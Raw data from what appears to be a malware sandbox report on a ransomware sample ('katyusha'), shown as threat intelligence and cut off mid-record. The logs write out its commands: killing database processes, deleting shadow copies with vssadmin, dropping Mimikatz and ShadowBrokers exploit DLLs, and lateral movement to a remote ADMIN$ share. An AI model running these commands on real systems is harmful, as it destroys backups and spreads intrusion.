26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 45:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4d8,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious GenPack:Generic.Malware.FBV2 Sample d00ee0e6eab6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d00ee0e6eab6…. Malware family: GenPack:Generic.Malware.FBV2. Threat score 100/100. 20/27 AV engines flagged this file. 16 malicious and 39 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6","keywords":["Malicious","GenPack:Generic.Malware.FBV2","malware analysis","sandbox report","threat intelligence","d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6"],"about":{"@type":"SoftwareApplication","name":"Sample_5bc9d9bedac6ed6ea97780df.bin","applicationCategory":["neexe","executable"],"identifier":"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"GenPack:Generic.Malware.FBV2","antivirusDetections":{"malicious":20,"total":27},"behavioralIndicators":{"malicious":16,"suspicious":39},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T42e,"taskkill.exe" at 00000000-00001640-00000033-424205 "taskkill.exe" at 00000000-00001640-00000033-14411518790342752 "taskkill.exe" at 00000000-00002520-00000033-14411518790253446 "taskkill.exe" at 00000000-00003716-00000033-18229960 "taskkill.exe" at 00000000-00001632-00000033-331694 "taskkill.exe" at 00000000-00001632-00000033-14411518790601834 "cmd.exe" at 00000000-00001156-00000033-14411518790380800 "taskkill.exe" at 00000000-00002784-00000033-14411518790093225 "taskkill.exe" at 00000000-00002056-00000033-14411518790200862 "taskkill.exe" at 00000000-00002404-00000033-381248 "taskkill.exe" at 00000000-00003472-00000033-14411518791196037 "taskkill.exe" at 00000000-00003748-00000033-14411518790711253 "taskkill.exe" at 00000000-00000752-00000033-561020 "taskkill.exe" at 00000000-00001772-00000033-14411518790949882 "vssadmin.exe" at 00000000-00002920-00000033-14411518790753040 "vssadmin.exe" at 00000000-00003648-00000033-550046 "vssadmin.exe" at 00000000-00003360-00000033-428955 "vssadmin.exe" at 00000000-00003692-00000033-1441151879051325428:T447,"zkts.exe" created file "C:\Windows\Temp\svchostb.xml" "zkts.exe" created file "C:\Windows\Temp\svchostbs.xml" "zkts.exe" created file "C:\Windows\Temp\m64.exe" "zkts.exe" created file "C:\Windows\Temp\posh-0.dll" "zkts.exe" created file "C:\Windows\Temp\ssleay32.dll" "zkts.exe" created file "C:\Windows\Temp\svchostb.exe" "zkts.exe" created file "C:\Windows\Temp\svchostbs.exe" "zkts.exe" created file "C:\Windows\Temp\svchostp.exe" "zkts.exe" created file "C:\Windows\Temp\tibe-2.dll" "zkts.exe" created file "C:\Windows\Temp\trch-1.dll" "zkts.exe" created file "C:\Windows\Temp\trfo-2.dll" "zkts.exe" created file "C:\Windows\Temp\tucl-1.dll" "zkts.exe" created file "C:\Windows\Temp\ucl.dll" "zkts.exe" created file "C:\Windows\Temp\KillDuplicate.cmd" "zkts.exe" created file "C:\Windows\Temp\cnli-1.dll" "zkts.exe" created file "C:\Windows\Temp\coli-0.dll" "zkts.exe" created file "C:\Windows\Temp\crli-0.dll" "zkts.exe" created file "C:\Windows\Temp\dmgd-4.dll" "zkts.exe" created file "C:\Windows\Temp\exma-1.dll" "zkts.exe" created file "C:\Windows\Temp\katyusha.dll"29:T8eb,Process "cmd.exe" (UID: 00000000-00000812) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00000812) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "zkts.exe" (UID: 00000000-00003132) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003080) was launched with missing environment variables: "PROMPT" Process "m64.exe" (UID: 00000000-00001392) was launched with new environment variables: "PROMPT="$P$G"" Process "ktsi.exe" (UID: 00000000-00001008) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00001640) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00000580) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00002520) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00002756) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00003716) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00000976) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00001632) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004092) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00002404) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00001880) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00003472) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00001116) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00003748) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00002644) was launched with missing environment variables: "PROMPT" Process "taskkill.exe" (UID: 00000000-00000752) was launched with new environment variables: "PROMPT="$P$G""2a:T5a0,"%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/zkts.exe" on 2021-9-28.03:16:02.021 "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/m64.exe" on 2021-9-28.03:16:07.567 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM mysqld.exe" on 2021-9-28.03:16:17.599 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM httpd.exe" on 2021-9-28.03:16:59.396 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlservr.exe" on 2021-9-28.03:17:41.114 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlwriter.exe" on 2021-9-28.03:18:24.114 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM w3wp.exe" on 2021-9-28.03:19:08.208 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM fdhost.exe" on 2021-9-28.03:20:33.021 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM reportingservicesservice.exe" on 2021-9-28.03:21:56.771 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM omtsreco.exe" on 2021-9-28.03:22:38.630 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM tnslsnr.exe" on 2021-9-28.03:23:20.989 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM oracle.exe" on 2021-9-28.03:24:03.661 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM emagent.exe" on 2021-9-28.03:24:45.427 "%WINDIR%\system32\cmd.exe /c taskkill /F /IM mysqld-nt.exe" on 2021-9-28.03:25:27.489 "%WINDIR%\system32\cmd.exe /c vssadmin delete shadows /all /quiet&vssadmin delete shadows /all /quiet" on 2021-9-28.03:26:49.880 "/c vssadmin delete shadows /all /quiet&vssadmin delete shadows /all /quiet" on 2021-9-28.03:28:12.7082b:T8c2,Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/zkts.exe" (UID: 00000000-00000812) Spawned process "zkts.exe" with commandline "%WINDIR%\temp/zkts.exe" (UID: 00000000-00003132) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/m64.exe" (UID: 00000000-00003080) Spawned process "m64.exe" with commandline "%WINDIR%\temp/m64.exe" (UID: 00000000-00001392) Spawned process "ktsi.exe" (UID: 00000000-00001008) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM mysqld.exe" (UID: 00000000-00002212) Spawned process "taskkill.exe" with commandline "taskkill /F /IM mysqld.exe" (UID: 00000000-00001640) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM httpd.exe" (UID: 00000000-00000580) Spawned process "taskkill.exe" with commandline "taskkill /F /IM httpd.exe" (UID: 00000000-00002520) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlservr.exe" (UID: 00000000-00002756) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlservr.exe" (UID: 00000000-00003716) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlwriter.exe" (UID: 00000000-00000976) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlwriter.exe" (UID: 00000000-00001632) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM w3wp.exe" (UID: 00000000-00001156) Spawned process "taskkill.exe" with commandline "taskkill /F /IM w3wp.exe" (UID: 00000000-00002784) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlagent.exe" (UID: 00000000-00002056) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM fdhost.exe" (UID: 00000000-00004092) Spawned process "taskkill.exe" with commandline "taskkill /F /IM fdhost.exe" (UID: 00000000-00002404) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM reportingservicesse ..." (UID: 00000000-00001880) Spawned process "taskkill.exe" with commandline "taskkill /F /IM reportingservicesservice.exe" (UID: 00000000-00003472)2c:T8c2,Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/zkts.exe" (UID: 00000000-00000812) Spawned process "zkts.exe" with commandline "%WINDIR%\temp/zkts.exe" (UID: 00000000-00003132) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/m64.exe" (UID: 00000000-00003080) Spawned process "m64.exe" with commandline "%WINDIR%\temp/m64.exe" (UID: 00000000-00001392) Spawned process "ktsi.exe" (UID: 00000000-00001008) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM mysqld.exe" (UID: 00000000-00002212) Spawned process "taskkill.exe" with commandline "taskkill /F /IM mysqld.exe" (UID: 00000000-00001640) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM httpd.exe" (UID: 00000000-00000580) Spawned process "taskkill.exe" with commandline "taskkill /F /IM httpd.exe" (UID: 00000000-00002520) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlservr.exe" (UID: 00000000-00002756) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlservr.exe" (UID: 00000000-00003716) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlwriter.exe" (UID: 00000000-00000976) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlwriter.exe" (UID: 00000000-00001632) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM w3wp.exe" (UID: 00000000-00001156) Spawned process "taskkill.exe" with commandline "taskkill /F /IM w3wp.exe" (UID: 00000000-00002784) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlagent.exe" (UID: 00000000-00002056) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM fdhost.exe" (UID: 00000000-00004092) Spawned process "taskkill.exe" with commandline "taskkill /F /IM fdhost.exe" (UID: 00000000-00002404) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM reportingservicesse ..." (UID: 00000000-00001880) Spawned process "taskkill.exe" with commandline "taskkill /F /IM reportingservicesservice.exe" (UID: 00000000-00003472)2d:T500,"ktsi.exe.615288FE.bin" has type "MS-DOS executable MZ for MS-DOS" "m64.exe.615288F7.bin" has type "MS-DOS executable MZ for MS-DOS" "crli-0.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "KillDuplicate.cmd" has type "ASCII text with CRLF line terminators" "libxml2.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "m32.exe" has type "MS-DOS executable MZ for MS-DOS" "m64.exe" has type "MS-DOS executable MZ for MS-DOS" "dmgd-4.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "ktsi.exe" has type "MS-DOS executable MZ for MS-DOS" "exma-1.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "katyusha.dll" has type "PE32+ executable (DLL) (GUI) x86-64 for MS Windows" "coli-0.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "libeay32.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows" "cnli-1.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "J0185798.WMF.katyusha" has type "data" "AN02559_.WMF.katyusha" has type "data" "J0101867.BMP.katyusha" has type "data" "BD18231_.WMF.katyusha" has type "data" "Module.eftx.katyusha" has type "8086 relocatable (Microsoft)" "BD10307_.GIF.katyusha" has type "data"2e:T4b5,"katyusha.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "katyusha.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "katyusha.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001e.db" "cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "cmd.exe" touched file "C:\Windows\Temp\zkts.exe" "cmd.exe" touched file "C:\Windows\SysWOW64\en-US\cmd.exe.mui" "cmd.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "zkts.exe" touched file "C:\Windows\Fonts\StaticCache.dat" "zkts.exe" touched file "C:\Windows\SysWOW64\en-US\msctf.dll.mui" "zkts.exe" touched file "C:\Windows\Temp\zkts.exe" "zkts.exe" touched file "c:\windows\temp" "zkts.exe" touched file "C:\Windows\Temp\svchostb.xml" "zkts.exe" touched file "C:\Windows\Temp\svchostbs.xml" "zkts.exe" touched file "C:\Windows\Temp\m64.exe" "zkts.exe" touched file "C:\Windows\Temp\posh-0.dll" "zkts.exe" touched file "C:\Windows\Temp\ssleay32.dll" "zkts.exe" touched file "C:\Windows\Temp\svchostb.exe" "zkts.exe" touched file "C:\Windows\Temp\svchostbs.exe" "zkts.exe" touched file "C:\Windows\Temp\svchostp.exe"2f:T511,"cmd.exe" wrote bytes "711138017a3b3701ab8b02007f950200fc8c0200729602006cc805001ecd34017d263401" to virtual address "0x760607E4" (part of module "USER32.DLL") "cmd.exe" wrote bytes "c0df38771cf93777ccf837770d64397700000000c011e57400000000fc3ee57400000000e013e574000000009457d57525e03877c6e0387700000000bc6ad47500000000cf31e574000000009319d575000000002c32e57400000000" to virtual address "0x75321000" (part of module "NSI.DLL") "zkts.exe" wrote bytes "711138017a3b3701ab8b02007f950200fc8c0200729602006cc805001ecd34017d263401" to virtual address "0x760607E4" (part of module "USER32.DLL") "zkts.exe" wrote bytes "c0df38771cf93777ccf837770d64397700000000c011e57400000000fc3ee57400000000e013e574000000009457d57525e03877c6e0387700000000bc6ad47500000000cf31e574000000009319d575000000002c32e57400000000" to virtual address "0x75321000" (part of module "NSI.DLL") "taskkill.exe" wrote bytes "c0df38771cf93777ccf837770d64397700000000c011e57400000000fc3ee57400000000e013e574000000009457d57525e03877c6e0387700000000bc6ad47500000000cf31e574000000009319d575000000002c32e57400000000" to virtual address "0x75321000" (part of module "NSI.DLL") "taskkill.exe" wrote bytes "711138017a3b3701ab8b02007f950200fc8c0200729602006cc805001ecd34017d263401" to virtual address "0x760607E4" (part of module "USER32.DLL")30:T419,"katyusha.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "katyusha.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "katyusha.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "zkts.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "zkts.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "zkts.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "zkts.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "m64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US")31:T439,Process "taskkill.exe" with commandline "taskkill /F /IM mysqld.exe" (UID: 00000000-00001640) Process "taskkill.exe" with commandline "taskkill /F /IM httpd.exe" (UID: 00000000-00002520) Process "taskkill.exe" with commandline "taskkill /F /IM sqlservr.exe" (UID: 00000000-00003716) Process "taskkill.exe" with commandline "taskkill /F /IM sqlwriter.exe" (UID: 00000000-00001632) Process "taskkill.exe" with commandline "taskkill /F /IM w3wp.exe" (UID: 00000000-00002784) Process "taskkill.exe" with commandline "taskkill /F /IM sqlagent.exe" (UID: 00000000-00002056) Process "taskkill.exe" with commandline "taskkill /F /IM fdhost.exe" (UID: 00000000-00002404) Process "taskkill.exe" with commandline "taskkill /F /IM reportingservicesservice.exe" (UID: 00000000-00003472) Process "taskkill.exe" with commandline "taskkill /F /IM tnslsnr.exe" (UID: 00000000-00003748) Process "taskkill.exe" with commandline "taskkill /F /IM emagent.exe" (UID: 00000000-00000752) Process "taskkill.exe" with commandline "taskkill /F /IM mysqld-nt.exe" (UID: 00000000-00001772)32:T715,41/66 Antivirus vendors marked dropped file "ktsi.exe.615288FE.bin" as malicious (classified as "GenPack:Generic.Malware.FBVTk" with 62% detection rate) 41/69 Antivirus vendors marked dropped file "m64.exe.615288F7.bin" as malicious (classified as "Gen:Variant.Application.Hacktool.Mimikatz" with 59% detection rate) 54/67 Antivirus vendors marked dropped file "crli-0.dll" as malicious (classified as "Trojan.ShadowBrokers" with 80% detection rate) 56/67 Antivirus vendors marked dropped file "libxml2.dll" as malicious (classified as "Trojan.ShadowBrokers" with 83% detection rate) 44/70 Antivirus vendors marked dropped file "m32.exe" as malicious (classified as "Trojan.Mimikatz" with 62% detection rate) 41/69 Antivirus vendors marked dropped file "m64.exe" as malicious (classified as "Gen:Variant.Application.Hacktool.Mimikatz" with 59% detection rate) 59/67 Antivirus vendors marked dropped file "dmgd-4.dll" as malicious (classified as "Trojan.ShadowBrokers" with 88% detection rate) 41/66 Antivirus vendors marked dropped file "ktsi.exe" as malicious (classified as "GenPack:Generic.Malware.FBVTk" with 62% detection rate) 59/67 Antivirus vendors marked dropped file "exma-1.dll" as malicious (classified as "Trojan.ShadowBrokers" with 88% detection rate) 52/69 Antivirus vendors marked dropped file "katyusha.dll" as malicious (classified as "Generic.Exploit.Metasploit.2" with 75% detection rate) 57/67 Antivirus vendors marked dropped file "coli-0.dll" as malicious (classified as "Trojan.ShadowBrokers" with 85% detection rate) 53/66 Antivirus vendors marked dropped file "libeay32.dll" as malicious (classified as "Trojan.Agent" with 80% detection rate) 58/67 Antivirus vendors marked dropped file "cnli-1.dll" as malicious (classified as "Trojan.ShadowBrokers" with 86% detection rate)33:Ta2c,"katyusha.exe" wrote 32 bytes to a remote process "C:\Windows\Temp\ktsi.exe" (Handle: 456) "katyusha.exe" wrote 52 bytes to a remote process "C:\Windows\Temp\ktsi.exe" (Handle: 456) "katyusha.exe" wrote 4 bytes to a remote process "C:\Windows\Temp\ktsi.exe" (Handle: 456) "katyusha.exe" wrote 8 bytes to a remote process "C:\Windows\Temp\ktsi.exe" (Handle: 456) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\Temp\zkts.exe" (Handle: 164) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\Temp\zkts.exe" (Handle: 164) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\Temp\zkts.exe" (Handle: 164) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\Temp\zkts.exe" (Handle: 164) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\Temp\m64.exe" (Handle: 168) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\Temp\m64.exe" (Handle: 168) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\Temp\m64.exe" (Handle: 168) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\Temp\m64.exe" (Handle: 168) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "taskkill.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "taskkill.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "taskkill.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "taskkill.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 168) "taskkill.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "taskkill.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "taskkill.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164) "taskkill.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\taskkill.exe" (Handle: 164)34:Tfc1,Spawned process "katyusha.exe" (UID: 00000000-00002680) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/zkts.exe" (UID: 00000000-00000812) Spawned process "zkts.exe" with commandline "%WINDIR%\temp/zkts.exe" (UID: 00000000-00003132) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %WINDIR%\temp/m64.exe" (UID: 00000000-00003080) Spawned process "m64.exe" with commandline "%WINDIR%\temp/m64.exe" (UID: 00000000-00001392) Spawned process "ktsi.exe" (UID: 00000000-00001008) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM mysqld.exe" (UID: 00000000-00002212) Spawned process "taskkill.exe" with commandline "taskkill /F /IM mysqld.exe" (UID: 00000000-00001640) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM httpd.exe" (UID: 00000000-00000580) Spawned process "taskkill.exe" with commandline "taskkill /F /IM httpd.exe" (UID: 00000000-00002520) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlservr.exe" (UID: 00000000-00002756) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlservr.exe" (UID: 00000000-00003716) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM sqlwriter.exe" (UID: 00000000-00000976) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlwriter.exe" (UID: 00000000-00001632) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM w3wp.exe" (UID: 00000000-00001156) Spawned process "taskkill.exe" with commandline "taskkill /F /IM w3wp.exe" (UID: 00000000-00002784) Spawned process "taskkill.exe" with commandline "taskkill /F /IM sqlagent.exe" (UID: 00000000-00002056) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM fdhost.exe" (UID: 00000000-00004092) Spawned process "taskkill.exe" with commandline "taskkill /F /IM fdhost.exe" (UID: 00000000-00002404) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM reportingservicesservice.exe" (UID: 00000000-00001880) Spawned process "taskkill.exe" with commandline "taskkill /F /IM reportingservicesservice.exe" (UID: 00000000-00003472) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM omtsreco.exe" (UID: 00000000-00001116) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM tnslsnr.exe" (UID: 00000000-00000636) Spawned process "taskkill.exe" with commandline "taskkill /F /IM tnslsnr.exe" (UID: 00000000-00003748) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM oracle.exe" (UID: 00000000-00002644) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM emagent.exe" (UID: 00000000-00004012) Spawned process "taskkill.exe" with commandline "taskkill /F /IM emagent.exe" (UID: 00000000-00000752) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c taskkill /F /IM mysqld-nt.exe" (UID: 00000000-00003724) Spawned process "taskkill.exe" with commandline "taskkill /F /IM mysqld-nt.exe" (UID: 00000000-00001772) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c vssadmin delete shadows /all /quiet&vssadmin delete shadows /all /quiet" (UID: 00000000-00002000) Spawned process "vssadmin.exe" with commandline "vssadmin delete shadows /all /quiet" (UID: 00000000-00002920) Spawned process "vssadmin.exe" with commandline "vssadmin delete shadows /all /quiet" (UID: 00000000-00003648) Spawned process "cmd.exe" with commandline "/c vssadmin delete shadows /all /quiet&vssadmin delete shadows /all /quiet" (UID: 00000000-00003040) Spawned process "vssadmin.exe" with commandline "vssadmin delete shadows /all /quiet" (UID: 00000000-00003360) Spawned process "vssadmin.exe" with commandline "vssadmin delete shadows /all /quiet" (UID: 00000000-00003692)35:T51c,"cmd.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-3436-pavLkOOLnU1xt5h.exe (UID: 00000000-00003436) "cmd.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-7368-pavLkOOLnU1xt5h.exe (UID: 00000000-00007368) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-7256-pavLkOOLnU1xt5h.exe (UID: 00000000-00007256) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-2348-pavLkOOLnU1xt5h.exe (UID: 00000000-00002348) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-8056-pavLkOOLnU1xt5h.exe (UID: 00000000-00008056) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-8132-pavLkOOLnU1xt5h.exe (UID: 00000000-00008132) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-8148-pavLkOOLnU1xt5h.exe (UID: 00000000-00008148) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-4064-pavLkOOLnU1xt5h.exe (UID: 00000000-00004064) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-7232-pavLkOOLnU1xt5h.exe (UID: 00000000-00007232) "svchostp.exe" called "CopyFileW" with parameter \\192.168.242.107\ADMIN$\PAExec-7352-pavLkOOLnU1xt5h.exe (UID: 00000000-00007352)36:Tfcc,"katyusha.exe" called "CreateProcessA" with parameter "C:\WINDOWS\system32\cmd.exe /c c:/windows/temp/zkts.exe" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessA" with parameter "C:\WINDOWS\system32\cmd.exe /c c:/windows/temp/m64.exe" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\ktsi.exe" " - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\System32\cmd.exe" /c cd /D C:\windows\temp\&svchostb.exe --TargetIp 192.168.242.107 & svchostbs.exe --OutConfig s --Ta" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter 